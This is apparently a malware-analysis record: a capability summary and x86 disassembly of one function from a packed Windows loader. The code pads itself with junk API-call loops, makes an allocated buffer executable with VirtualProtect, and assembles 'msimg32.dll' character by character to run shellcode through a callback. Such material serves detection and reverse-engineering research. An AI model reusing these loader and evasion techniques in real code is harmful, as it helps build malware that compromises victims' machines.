Function at 0x814e40
Capabilities:
Accept command line arguments
Allocate or change rwx memory
Copy file
Create mailslot
Delete file
Execute shellcode via indirect call
Execute shellcode via windows callback function
Get disk information
Get file attributes
Get geographical location
Get hostname
Manipulate console buffer
Query environment variable
Read .ini file
Resolve function by parsing pe exports

Disassembly:
push ebp
mov ebp, esp
and esp, 0xfffffff8
push 0xffffffffffffffff
push 0x8168cf
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ecx
mov eax, 0x2d98
call fcn.00419950
push ebx
push ebp
push esi
xor ebx, ebx
mov dword [esp + 0x18], ebx
mov ebp, dword [sym.imp.KERNEL32.dll_GetLastError]
push edi
mov edi, dword [sym.imp.USER32.dll_CharUpperBuffA]
xor esi, esi
mov edi, edi
cmp esi, 0x1e2f9
jge 0x814e8e
push ebx
push ebx
call edi
call ebp
cmp esi, 0x1e9b2176
jle 0x814ead
cmp dword [esp + 0x18], 0xc0963c
je 0x814ead
cmp dword [esp + 0x18c], 0x90536f8
jne 0x814eb6
inc esi
cmp esi, 0x98abe
jl 0x814e80
cmp dword [0x26618f4], 0xcf8
jne 0x8151fb
push ebx
push ebx
push ebx
call fcn.0040a6b2
add esp, 0xc
push 0x40430c
push ebx
call fcn.0040a6b2
push ebx
push ebx
push ebx
push ebx
call fcn.0040a1f2
push ebx
push ebx
call fcn.00409897
push ebx
call fcn.0040a0b7
add esp, 0x24
push ebx
call fcn.0041d2ee
add esp, 4
push ebx
push ebx
call fcn.00409f27
add esp, 8
mov dword [esp + 0x80], ebx
mov dword [esp + 0x84], ebx
mov dword [esp + 0x88], ebx
mov dword [esp + 0x2db4], ebx
xor eax, eax
mov dword [esp + 0x3c], 0xf
mov dword [esp + 0x38], ebx
mov byte [esp + 0x28], 0
lea edx, [eax + 1]
lea ebx, [ebx]
mov cl, byte [eax]
inc eax
test cl, cl
jne 0x814f40
sub eax, edx
mov esi, eax
cmp esi, 0xfffffffe
jbe 0x814f5a
push 0x4045b0
call fcn.0040932e
cmp esi, 0xf
jbe 0x814f6c
push ebx
push esi
lea ecx, [esp + 0x30]
call fcn.004085f0
jmp 0x814f79
cmp esi, ebx
jne 0x814f7b
mov dword [esp + 0x38], ebx
mov byte [esp + 0x28], 0
cmp esi, ebx
seta al
mov edi, 0x10
test al, al
je 0x814fb6
mov eax, dword [esp + 0x28]
cmp dword [esp + 0x3c], edi
jae 0x814f95
lea eax, [esp + 0x28]
push esi
push ebx
push eax
call fcn.0040b3f0
mov eax, dword [esp + 0x34]
add esp, 0xc
mov dword [esp + 0x38], esi
cmp dword [esp + 0x3c], edi
jae 0x814fb2
lea eax, [esp + 0x28]
mov byte [eax + esi], 0
cmp dword [esp + 0x3c], edi
jb 0x814fc9
mov eax, dword [esp + 0x28]
push eax
call fcn.0040a77a
add esp, 4
mov dword [esp + 0xa0], 0x404678
mov dword [esp + 0xb0], 0x404680
mov byte [esp + 0x2db4], 2
push 4
mov dword [esp + 0x20], 1
mov dword [esp + 0x104], 0x40461c
mov dword [esp + 0xac], ebx
mov dword [esp + 0xb0], ebx
mov dword [esp + 0x134], ebx
mov dword [esp + 0x10c], ebx
mov dword [esp + 0x114], ebx
mov dword [esp + 0x118], 0x201
mov dword [esp + 0x11c], 6
mov dword [esp + 0x120], ebx
mov dword [esp + 0x124], ebx
mov dword [esp + 0x128], ebx
mov dword [esp + 0x12c], ebx
mov dword [esp + 0x130], ebx
mov dword [esp + 0x110], ebx
call fcn.0040ac92
mov esi, eax
add esp, 4
cmp esi, ebx
je 0x81509c
call fcn.0040927d
mov dword [esi], eax
call fcn.0040903c
push ebx
lea ecx, [esp + 0x18]
mov edi, eax
call fcn.00409443
mov eax, dword [edi + 4]
cmp eax, 0xffffffff
jae 0x815091
inc eax
mov dword [edi + 4], eax
lea ecx, [esp + 0x14]
call fcn.0040946b
jmp 0x81509e
xor esi, esi
lea ecx, [esp + 0xb8]
lea edi, [esp + 0x24]
lea eax, [esp + 0x100]
mov dword [esp + 0x130], esi
mov dword [esp + 0x138], ecx
mov dword [esp + 0x13c], ebx
call fcn.00405830
mov edi, eax
mov dword [esp + 0x2db4], 5
call fcn.00408750
mov byte [esp + 0x2db4], 4
mov edi, dword [esp + 0x24]
mov ebp, eax
cmp edi, ebx
je 0x81512a
push ebx
lea ecx, [esp + 0x1c]
call fcn.00409443
mov eax, dword [edi + 4]
cmp eax, ebx
jbe 0x815108
cmp eax, 0xffffffff
jae 0x815108
dec eax
mov dword [edi + 4], eax
mov esi, dword [edi + 4]
neg esi
sbb esi, esi
not esi
lea ecx, [esp + 0x18]
and esi, edi
call fcn.0040946b
cmp esi, ebx
je 0x81512a
mov edx, dword [esi]
mov eax, dword [edx]
push 1
mov ecx, esi
call eax
mov edx, dword [ebp]
mov eax, dword [edx + 0x18]
push 0x20
mov ecx, ebp
call eax
mov byte [esp + 0x140], al
cmp dword [esp + 0x138], ebx
jne 0x815170
mov eax, dword [esp + 0x10c]
or eax, 4
and eax, 0x17
mov dword [esp + 0x10c], eax
test dword [esp + 0x110], eax
je 0x815170
push ebx
lea ecx, [esp + 0x104]
call fcn.00405750
mov ecx, dword [esp + 0xb0]
mov edx, dword [ecx + 4]
mov dword [esp + edx + 0xb0], 0x404624
mov eax, dword [esp + 0xa0]
mov ecx, dword [eax + 4]
mov dword [esp + ecx + 0xa0], 0x40462c
mov dword [esp + 0x2db4], 8
mov edx, dword [esp + 0xa0]
mov eax, dword [edx + 4]
lea ecx, [esp + 0xb8]
push ecx
mov dword [esp + eax + 0xa4], 0x404674
call fcn.00407380
mov dword [esp + 0xb8], 0x404634
mov dword [esp + 0xf4], ebx
mov dword [esp + 0xf8], ebx
lea edx, [esp + 0xb0]
push edx
mov byte [esp + 0x2db8], 0xa
call fcn.00405a20
push ebx
call fcn.0040a57c
mov edi, dword [sym.imp.KERNEL32.dll_GetConsoleAliasesLengthW]
mov ebp, dword [sym.imp.KERNEL32.dll_SetSystemPowerState]
xor esi, esi
lea esp, [esp]
cmp esi, 0x408
jne 0x815223
mov eax, 0x5d1
add dword [0x26618f4], eax
cmp dword [0x26618f4], 3
jne 0x815242
push ebx
call edi
push ebx
push ebx
call ebp
push ebx
lea eax, [esp + 0x1ac]
push eax
call dword [sym.imp.KERNEL32.dll_FindFirstVolumeA]
inc esi
cmp esi, 0x1518d4
jl 0x815210
mov ecx, dword [0x26618f4]
push ecx
push ebx
call dword [sym.imp.KERNEL32.dll_LocalAlloc]
mov edi, dword [sym.imp.KERNEL32.dll_GetEnvironmentStrings]
mov dword [0x26618ec], eax
mov eax, dword [0x26618f4]
xor esi, esi
cmp eax, ebx
jbe 0x8152c6
mov ebp, dword [sym.imp.KERNEL32.dll_GetDriveTypeA]
cmp eax, 0xfe
jne 0x8152a1
push ebx
call ebp
call dword [sym.imp.KERNEL32.dll_GetCurrentProcessId]
lea ecx, [esp + 0x18]
push ecx
xor edx, edx
push edx
push ebx
lea eax, [esp + 0x1b4]
push eax
push ebx
mov dword [esp + 0x28], edx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterA]
call fcn.00814bd0
mov eax, dword [0x26618f4]
cmp eax, 0x29
jne 0x8152c1
call edi
push ebx
push ebx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceExA]
mov eax, dword [0x26618f4]
inc esi
cmp esi, eax
jb 0x815275
cmp eax, 0x70
jne 0x81535f
push ebx
lea ecx, [esp + 0x1ac]
push ecx
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasExesA]
push ebx
push 0x40431c
push 0x404330
call dword [sym.imp.KERNEL32.dll_CreateHardLinkA]
push ebx
call dword [sym.imp.KERNEL32.dll_DeleteVolumeMountPointW]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
call edi
call dword [sym.imp.KERNEL32.dll_GetEnvironmentStringsW]
push 0x404358
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
lea edx, [esp + 0x18]
push edx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_SetTapeParameters]
push ebx
push ebx
lea eax, [esp + 0xdb0]
push eax
call dword [sym.imp.KERNEL32.dll_GetConsoleAliasesW]
push ebx
lea ecx, [esp + 0x5ac]
push ecx
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_GetLocaleInfoA]
push ebx
push ebx
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesW]
push 0x4043c8
push 0x4044a0
push ebx
call dword [sym.imp.KERNEL32.dll_FindResourceW]
mov eax, dword [0x26618f4]
mov esi, dword [sym.imp.KERNEL32.dll_EnumTimeFormatsA]
mov edi, dword [sym.imp.KERNEL32.dll_InterlockedDecrement]
mov ebp, dword [sym.imp.KERNEL32.dll_InterlockedExchangeAdd]
mov ebx, dword [sym.imp.KERNEL32.dll_InterlockedExchange]
mov dword [esp + 0x1c], 0x9682ab
nop
cmp eax, 3
jne 0x8153b3
push 0
lea edx, [esp + 0x1c]
push edx
push 0
lea eax, [esp + 0x5b4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
lea ecx, [esp + 0x1a8]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_FindNextFileW]
mov eax, dword [0x26618f4]
cmp eax, 0xdf
jne 0x815656
push 0x40433c
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenSemaphoreA]
push 0
call dword [sym.imp.KERNEL32.dll_FindClose]
xor edx, edx
lea ecx, [esp + 0x24]
push ecx
push edx
push edx
lea eax, [esp + 0x15b4]
push eax
push edx
mov dword [esp + 0x28], edx
call dword [sym.imp.KERNEL32.dll_ReadConsoleOutputCharacterW]
xor eax, eax
lea ecx, [esp + 0x6c]
push ecx
lea edx, [esp + 0x184]
push edx
push eax
mov dword [esp + 0x78], eax
mov dword [esp + 0x7c], eax
mov dword [esp + 0x80], eax
mov dword [esp + 0x84], eax
mov dword [esp + 0x88], eax
call dword [sym.imp.KERNEL32.dll_BuildCommDCBAndTimeoutsA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CommConfigDialogA]
push 0
call dword [sym.imp.KERNEL32.dll_IsBadCodePtr]
push 0
push 0
push 0
call esi
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumCalendarInfoW]
lea eax, [esp + 0x90]
push eax
call edi
push 0
lea ecx, [esp + 0x98]
push ecx
call ebp
push 0
lea edx, [esp + 0x5c]
push edx
call ebx
push 0
push 0
push 0
push 0x4044f0
call dword [sym.imp.KERNEL32.dll_CreateMailslotW]
mov eax, dword [esp + 0x58]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_GetConsoleMode]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetPrivateProfileSectionNamesA]
push 0
lea ecx, [esp + 0x1dac]
push ecx
push 0
call dword [sym.imp.KERNEL32.dll_GetAtomNameW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCtrlHandler]
push 0
call dword [sym.imp.KERNEL32.dll_DeleteFileW]
lea edx, [esp + 0x9c]
push edx
push 0
lea eax, [esp + 0x30]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_PeekConsoleInputW]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_OpenJobObjectW]
push 0
push 0
push 0
call esi
push 0
push 0
call dword [sym.imp.KERNEL32.dll_WaitNamedPipeW]
push 0
lea ecx, [esp + 0x9c]
push ecx
call ebx
push 0
lea edx, [esp + 0x58]
push edx
call ebp
lea eax, [esp + 0x5c]
push eax
call edi
lea ecx, [esp + 0x4c]
push ecx
push 0
lea edx, [esp + 0x5b0]
push edx
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetCalendarInfoA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumDateFormatsA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_IsDBCSLeadByteEx]
lea eax, [esp + 0x50]
push eax
push 0x404484
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleExA]
xor eax, eax
lea ecx, [esp + 0x60]
push ecx
mov dword [esp + 0x64], eax
mov dword [esp + 0x68], eax
call dword [sym.imp.KERNEL32.dll_InterlockedPopEntrySList]
push 0
call dword [sym.imp.KERNEL32.dll_AddAtomW]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_EnumSystemCodePagesA]
push 0
push 0
call dword [sym.imp.KERNEL32.dll_HeapWalk]
lea edx, [esp + 0x80]
push edx
call dword [sym.imp.KERNEL32.dll_QueryPerformanceCounter]
push 0
call dword [sym.imp.KERNEL32.dll_LoadLibraryA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_CopyFileW]
push 0
lea eax, [esp + 0x1ac]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_FindNextVolumeMountPointA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_SetCalendarInfoA]
push 0
lea ecx, [esp + 0x9ac]
push ecx
push 0x404558
call dword [sym.imp.KERNEL32.dll_GetShortPathNameA]
push 0
lea edx, [esp + 0xdac]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumePathNameA]
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetVolumeNameForVolumeMountPointW]
push 0
call dword [sym.imp.KERNEL32.dll_SetComputerNameA]
push 0
call dword [sym.imp.KERNEL32.dll_GetFileAttributesA]
lea eax, [esp + 0x20]
push eax
lea ecx, [esp + 0x25ac]
push ecx
call dword [sym.imp.KERNEL32.dll_GetComputerNameW]
push 0x30
lea edx, [esp + 0x154]
push 0
push edx
mov dword [esp + 0x158], 0
call fcn.00414700
add esp, 0xc
push 0
lea eax, [esp + 0x150]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_SetDefaultCommConfigW]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
mov eax, dword [0x26618f4]
dec dword [esp + 0x1c]
jne 0x815380
mov edi, dword [sym.imp.USER32.dll_CharUpperA]
mov ebx, dword [sym.imp.KERNEL32.dll_SetLastError]
mov esi, 0x9c3c674
push 0
call edi
push 0
call ebx
dec esi
jne 0x815671
mov esi, dword [sym.imp.KERNEL32.dll_DisconnectNamedPipe]
mov edi, 0x25887
jmp 0x815690
cmp dword [0x26618f4], 0x222
jne 0x8156a0
push 0
call esi
dec edi
jne 0x815690
mov edx, dword [0x26618f4]
mov eax, dword [0x26618ec]
lea ecx, [esp + 0x20]
push ecx
push 0x40
push edx
push eax
mov byte [0x82ea38], 0
call dword [sym.imp.KERNEL32.dll_VirtualProtect]
call fcn.00814df0
mov edi, dword [sym.imp.KERNEL32.dll_WriteConsoleInputA]
xor esi, esi
cmp dword [0x26618f4], 0xba
jne 0x8156ea
lea ecx, [esp + 0x20]
push ecx
push 0
push 0
push 0
call edi
cmp esi, 0x2f64
jne 0x8156f7
call fcn.00814bb0
inc esi
cmp esi, 0x1605a
jl 0x8156d1
mov edx, 0x73
mov eax, 0x6d
mov word [0x2661982], dx
mov word [0x2661986], ax
xor eax, eax
mov ecx, 0x33
mov edx, 0x67
mov word [0x266198a], cx
mov word [0x2661996], ax
mov word [0x2661988], dx
mov eax, 0x69
mov ecx, 0x6d
mov edx, 0x6c
push 0x2661980
mov dword [0x2661990], 0x6c0064
mov word [0x2661984], ax
mov word [0x2661980], cx
mov word [0x2661994], dx
mov dword [0x266198c], 0x2e0032
call dword [sym.imp.KERNEL32.dll_LoadLibraryW]
cmp dword [0x26618f4], 0xc30
jne 0x815804
push 0
call dword [sym.imp.KERNEL32.dll_GetModuleHandleA]
call dword [sym.imp.KERNEL32.dll_GetACP]
push 0
lea edx, [esp + 0x24]
push edx
push 0
lea eax, [esp + 0xdb4]
push eax
push 0
call dword [sym.imp.KERNEL32.dll_ReadConsoleW]
push 0
lea ecx, [esp + 0x9ac]
push ecx
lea edx, [esp + 0x58]
push edx
lea eax, [esp + 0x58]
push eax
lea ecx, [esp + 0x6c]
push ecx
lea edx, [esp + 0x68]
push edx
push 0
call dword [sym.imp.KERNEL32.dll_GetNamedPipeHandleStateA]
push 0
call dword [sym.imp.KERNEL32.dll_FreeEnvironmentStringsA]
push 0
call dword [sym.imp.KERNEL32.dll_SetConsoleCP]
call dword [sym.imp.KERNEL32.dll_GetCommandLineA]
push 0
push 0
push 0
push 0
call dword [sym.imp.KERNEL32.dll_GetStringTypeW]
push 0
call dword [sym.imp.KERNEL32.dll_SetCommBreak]
call dword [sym.imp.KERNEL32.dll_ConvertFiberToThread]
mov ecx, dword [esp + 0x2dac]
pop edi
xor eax, eax
mov dword fs:[0], ecx
pop esi
pop ebp
pop ebx
mov esp, ebp
pop ebp
ret